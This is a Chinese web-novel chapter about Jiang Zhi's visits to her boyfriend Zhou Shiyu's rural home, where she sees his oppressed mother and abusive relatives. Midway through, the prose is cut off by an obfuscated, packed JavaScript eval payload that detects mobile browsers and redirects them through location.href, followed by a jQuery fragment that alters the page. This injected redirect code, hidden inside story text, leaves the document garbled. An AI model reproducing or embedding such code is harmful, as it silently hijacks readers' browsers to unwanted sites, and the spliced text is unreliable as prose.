姜知和周时屿在一起后，很快就把他拉进了自己的生活，介绍给朋友家人。
可她总是觉得，他身上还有很多谜团，或者说她尚未了解的部分。
大多数人还在向家里要生活费的年纪，他基本就独自在外打工，没有空闲的时间。她敬佩独立的人，但在一起后，欣赏渐渐变成说不清道不明的另种情绪。
直到那次。
他病得迷迷糊糊时，泪顺着眼尾下落，枕头很快被洇湿。
“这么难受呀，可得快点好起来。”姜知看在眼里，伸手想把眼泪擦掉。
手指快碰到的脸颊刹那，他捉住她的手：“别打了。”
话语很轻，却砸在姜知心上。呼吸声须臾放大，窗外雨滴沉重地拍打向房檐，雷声轰隆。
“谁打你了？”
姜知神色严肃，心都被揪起来：“谁？”
周时屿摇摇头，清醒过来，把她递来的水喝完，此后再也没有表露过类似的情况。
她见识到了那个地方，叫宜村。那里远离人烟，却有着另外一套法则。
村口的树下坐着几个老人，在打牌，底下压着几张皱巴巴的红色，相互吸二三四手烟，叫牌声和笑声混在一起，操着她听不懂的方言。
热络背后是另一种冷漠，就像姜知不愿意再回忆起来的那餐饭。
-
在周时屿说过的只言片语中，姜知幻想出了一个慈母形象。她本能地认为，世界上不会有母亲不爱孩子的，既然是他的妈妈，她当然想好好相处。
厨房是偏屋搭出来的小间，土灶，铁锅，墙上被烟熏得乌黑。邹美华蹲在灶口前，往里面塞玉米芯，火光照向她的脸，脸上的皱纹被映得一深一浅。
姜知放下带来的礼品袋：“阿姨，我帮您吧。”
“不用不用，”邹美华没有回头，“你是客人，哪里会这个。”
灰黑色眼底毫无笑意，倒映出了灶台边的火星，一簌一簌落下，像大雪。
而转身后，邹美华视线滑过姜知的手，女孩的皮肤细腻雪白，和油垢尘灰对比鲜明，又看向他们交握在一起的两只手，她俯下身，给炉灶内添了把柴。
冬春之际，肉菜表面结了厚厚一层油。
邹美华给周时屿夹菜，在不大的餐盘上翻翻找找，那碗米饭上已经堆了很多菜，油往下渗。
菜里放了辣椒，辣椒面裹在肉块的表面，像是毛线缠在一起。周时屿吃不了这么辣，他和姜知都清楚。
但桌上没一个人提。
姜知碰了碰他的手臂，辣椒变成了一根根红色的刺，看一眼都刺目。
周时屿没动，筷子捏在手里。
他们的对话都是关于日常起居，客气，生分，又不至于像陌生人。
“多吃点，你都瘦了。”周母说道。
不时有家禽发出嘎嘎声，桌对面的两张脸，一张紧绷，一张更紧绷。
菜满得快溢出来，周时屿吞下了新夹的菜，半晌后，他环顾一圈四周，尝试着开口：“我这次回来，其实是想……”
“想什么？”邹美华抬眼，打断。
和先前判若两人的语气让姜知怔了一瞬。
话停在了这，而后文并不难猜。
邹美华讪笑一下，脖子向后缩，露出几颗门牙。
“我住不惯城里的，”她将筷子收回去，“一辈子没出去过，到时候连个说话的人都没有，这儿至少有鸡，还有邻居，都挺好的。”她低头搅了搅碗里的汤。
邻居？
姜知汗毛立起，手心不断往外沁汗。旁边不是田就是山，哪来的邻居？
“妈。”周时屿拽过她的手，声音很沉。
邹美华依然笑着，垂下眼，没再看他们：“我走了房子咋办？我不在这儿住，你二叔收回去怎么办呀？我我我回来了住哪儿？不去不去…”
周时屿说：“您不用再回来了。至于二叔，这些问题，我都可以……”
“你可以什么可以！”邹美华抬起头，声音骤然放大，她看着周时屿的脸，笃定道：“出去两年就忘了自己几斤几两，有些事是你能解决的吗！”
她的嗓音尖细，眼里布满红血丝，嘴唇不停抖动。姜知屏起呼吸，手心的汗液仿佛被木筷吸收，潮意黏在皮肤表面，一阵阵发凉。
他的手抖了一下，脸上血色褪尽，筷子在碗沿上磕出一声脆响。
邹美华低下头，继续喝汤。
餐桌上像覆了厚重的棉被，压得人喘不过气，邹美华兀自拨弄着盘里的菜，偶尔抬头看一眼院里的鸡，扑棱翅膀发出声响，走到他们脚边，带来混杂排泄物的难闻味道。
更让人窒息的还是，邹美华开始给姜知夹菜。
“够了阿姨，真的够了。”姜知推拒道，欲言又止。
她对这些菜毫无食欲，但她更不擅长辜负别人好意，直到生理性反胃把肉吐出来，邹美华眉皱得更深，周时屿接过那只碗。
“我替她吃。”摁在胃上的手深了几分。
她这才满意点头：“吃完把碗洗了。”
邹美华离开餐桌，背了筐柴火在身上，仿佛什么都没发生。她叮嘱：“多吃点，以后多回家。”
姜知就见周时屿坐那默默吃饭，把不知好坏的肉通通塞进嘴里。
“你没事吧？”姜知问，按着他的肩膀。
“没事。”
“去倒了？”她轻声提议。
周时屿只摇摇头。
一块一块，冒着油点，他脸色越来越白，远处的女人没有任何关心，就好像——做错事情要受到惩罚那样，天经地义。
一股气憋在姜知心口，她无法理解这样的亲子关系。回去的路上，越堵越闷，姜知忍不住说道：“你们的关系也不好嘛。”
周时屿猛地抬起头：“是吗？”
姜知提高音量：“不是吗？”
……
他靠着她，呼吸不太平稳，额上不断有汗渗出，此时窗外的天雾蒙蒙，灰白云层泄下朦朦天光。好不容易有了点气色，竟然是被亲妈弄成这样，她真的要气炸了。
“不想吃就别吃啊，演什么母慈子孝，她不知道你……”
说到一半停住。
愤怒渐退，取而代之的是不忍——她想起周母夹菜时周时屿的表情，像小孩得到糖果，那种打从心底的欢喜。
会不会从小到大，这是他得到关心的唯一方式了？
这一认识让她不忍心再说下去，心里像吞了颗半熟的杏子，酸涩得可怕。
“对不起。”周时屿低声说。
姜知叹了口气，“主要是心疼你啊。”
“我没事的。”他拉回姜知的手，一遍遍安抚着。
周时屿侧脸被帘布阴影盖住，说了更让她震惊的一句话：
“是我的问题，她对我很好。”
-
很、好。
姜知差点两眼一黑。
说的事又是什么，半夜发烧背去医院的老套作文素材，没走到医院周母还犯病了，最后是周时屿背她回去的。姜知更笑不出来了。
她无意比较，但眼下找不到更合适的例子，“那我就对你不好吗？”
周时屿立刻就反驳：“你最好。”
“竟然会说情话了。”姜知终于被逗笑，像发现了新大陆，戳着周时屿的脸。稍微逗一逗，耳朵就会红起来，很可爱。
比如眼下，他又害羞得几乎说不出话，虽然在常人眼里和平时没区别。
“不是的。”
“嗯？”姜知还是不想放过他，手上动作没停，坏心思地看着耳廓越来越红。
“不是什么？”
“不是情话。”
他的眼神飘到了窗外，姜知才反应过来意思。
“我最好，那你可一定要珍惜我呀，周时屿。”
“我会的。”他目光坚定。
刺耳的喇叭声把前排睡着的乘客震醒，一阵刹车后，路对面的妇人提着菜匆匆行进。姜知扒开旧大巴的窗户，朝外看，雾气淹没晦暗不明的前路，就和今天发生的事一样不真实，她问：
“如果有一天我走了呢，你怎么办？”
“……”他张了张嘴。
“……”他转过头，眼圈泛红。
姜知简直于心不忍：“开玩笑的，我们还是别预设这种不会发生的事了！”
“好。”
实在怪愧疚的，姜知说：“虽然我这个人只喜欢新鲜的事物，对什么都会腻，但我保证——周时屿除外。”
“这是为什么？”身旁人已经恢复平时的表情，冷静问道。
“为什么啊，”姜知笑笑，“别问了，你记着我的话就行。”
风在耳边啸啸，几片落叶飘向天空，又落回到地面，行人来来往往。周时屿后来想起这一天。
以及，在他身旁说着话的姜知。
他非常后悔没有追问到底，不然起码知道应该保留下什么。
“你得纠缠知道吗，不能一点点小挫折就放弃，我就喜欢死缠烂打的，懂了没？”姜知的马尾一晃一晃，眼里有繁细的光跳动，她的手是暖的，一直很暖。
如果回到那一天，周时屿一定会说——
我根本就不想和你分开。
一刻也不想。
“懂了。”他回答。
大巴转了个弯，继续行驶。
-
那之后姜知调理了好长一段时间，把常玩的种地游戏都卸载了，游戏里的田园像个乌托邦，事实却绝非如此。
她一直搞不懂，周时屿为什么总一副觉得自己不够好不够优秀的样子，探访了他家后，稍微有点能理解了。陈旧的设施，偏远的地点，都是次要的。
姜知从来没想到如今的年代，还有地方会封建成这样。
能被那些人认可的，只有钱。矮小身体里发出怪叫，“嫁进来”的词汇已经让她很不舒服，好像把女性比作物品但不自知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453297|193783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她以前是相信耳濡目染的，是周时屿冲淡了这方面的刻板印象，才会愿意来第二次。
不知道为什么，总对那母子俩独处心有余悸，于是找了个理由一起跟来。
然而……姜知看着房前那几个陌生的、市侩的男人，心头的烦躁更上一层。
邹美华没有说谎，的确有邻居。
还不如没有。
他们把周时屿围在中间，烟雾缭绕，廉价烟的呛人气味激得姜知和邹美华连连咳嗽，将后方麦田都熏得张牙舞爪。最里边的男人把烟头扔在地上，用脚捻灭烟尾的火星。
而另一边，夕阳影子覆盖下，是缝补过好几次的裙摆，腰弯得比以往更低。
“阿姨，您怎么还在干活？”
邹美华弯腰拖地：“我当然得干活啊，我不干谁干嘞？”
她一把抢过扫把，心中涌上复杂情绪。
“诶你这姑娘，快还回来。”
姜知只能松开手，和同为受害者的长辈吵架毫无意义，但她真的快忍不住了。
周母明显久病未愈，还要被逼着干家务，凭什么啊！那几个男人有手有脚的，为什么不能干？但这种话放在这是毫无争议的——他们男人不干这种话。
她心内烦躁，踢一把角落的废铜烂铁，蛛网被钩破，哗啦啦散下来。
-
邹美华毫不反抗的画面，像一根刺，光想到就一阵刺痛。
突然，她身体往边上倒去，姜知连忙扶住，眼泪差点夺眶而出。这点倒是和她儿子如出一辙，怎么累怎么痛就是不说。
但那个习惯忍耐的人却在母亲受苦时分外勇敢——把扫帚丢出去，和那帮人吵架，声音比她任何时候听到的都大，压抑着，她无法想象的、认知之外的东西。
“啪！”被打了一巴掌。
姜知再也无法坐视不理，狠狠打回去，这次是更清脆响亮的一耳光。
“你个老登有病吧！”
那人愣了一下，“老登”是什么意思他不懂，但听语气猜得七七八八。
不过，男人盛怒的目光停滞在那。他换了种表情，从头到尾地看，像在打量一件商品。
“你是小屿的媳妇？”
“还不是，怎么了？”姜知扬起脑袋，毫不示弱。
“没什么。”那几人对视一眼，发出刺耳的笑。
-
麦田变成高楼，信号回归到5G。
“你是对的。”返程路上，周时屿抱着她的腰。声音闷得可怕。
“是啊。”姜知余气未消，一点不拐弯抹角。
“我不知道他们会来，”他仿佛非常自责，“我根本不想让你见到他们。”
姜知不想再回忆，声音不冷不热：“和你没关系。”
大巴发动的轰隆声，接着就是一个急转弯，姜知恍惚地想，她竟然有点开始习惯了。
“是我妈先提出的离婚。”
外边施工声嘈杂，可这句话无比清晰。她转头，对上周时屿的脸。
周时屿目视前方，像在说一件和自身完全无关的事：“他们认为女人没资格先提离婚，笃定她有外遇。我妈总是认为亏欠他们，那个年代的思想，改不掉的。”
“可本就是莫须有的东西啊！”姜知继续义愤填膺，前排人应声看过来，姜知没管。
“对，但是没办法。”办法他都用过了，给钱，出力，法律手段。最后一条反而是最用不上的，他在这么多年兜兜转转中已经明白了。
“为什么阿姨不肯走？”姜知问。
大巴驶过菜地边缘围起的网，影子投在周时屿脸上。之前h大有人来拍过宣传片，摄影师让他站在学校的铁网前，用镜头捕捉错落下的光影，说这就是青春本身啊。这一刻姜知却不觉得像网了，像笼子。
他也许被困在牢笼中，很久很久。
“姜知，我很害怕。”
“怎么啦？”她问，心跳加快，也有些不安。
“他们今天见到你了。”
她还以为什么事呢，松了口气，“见到一个大美女，算他们走运。”
周时屿摇摇头，又抿起唇不说话了。
“你是担心？”
“放心吧，这都什么年代了。”姜知就安慰，“放心，放心。”
“要不我让我爸给我安排个保镖？”她玩笑道。
这人情绪不对。姜知很快反应过来。
“周时屿，我要不能呼吸了。”
乌云汇成一场瓢泼大雨，雨丝飘进来，打湿了她的鬓角。
“姜知，保护好自己。”他缓了缓，像是下定了什么巨大的决心，“关键时候，不要选择我。”
农田里有一株小小的菜苗，被暴风雨压倒，折断，顺雨势汇进河流。她盯着污浊雨水里唯一的绿色，随口应了声。
她说，那当然了，人不为己天诛地灭。
那天姜知并没有把这句话放在心上。
-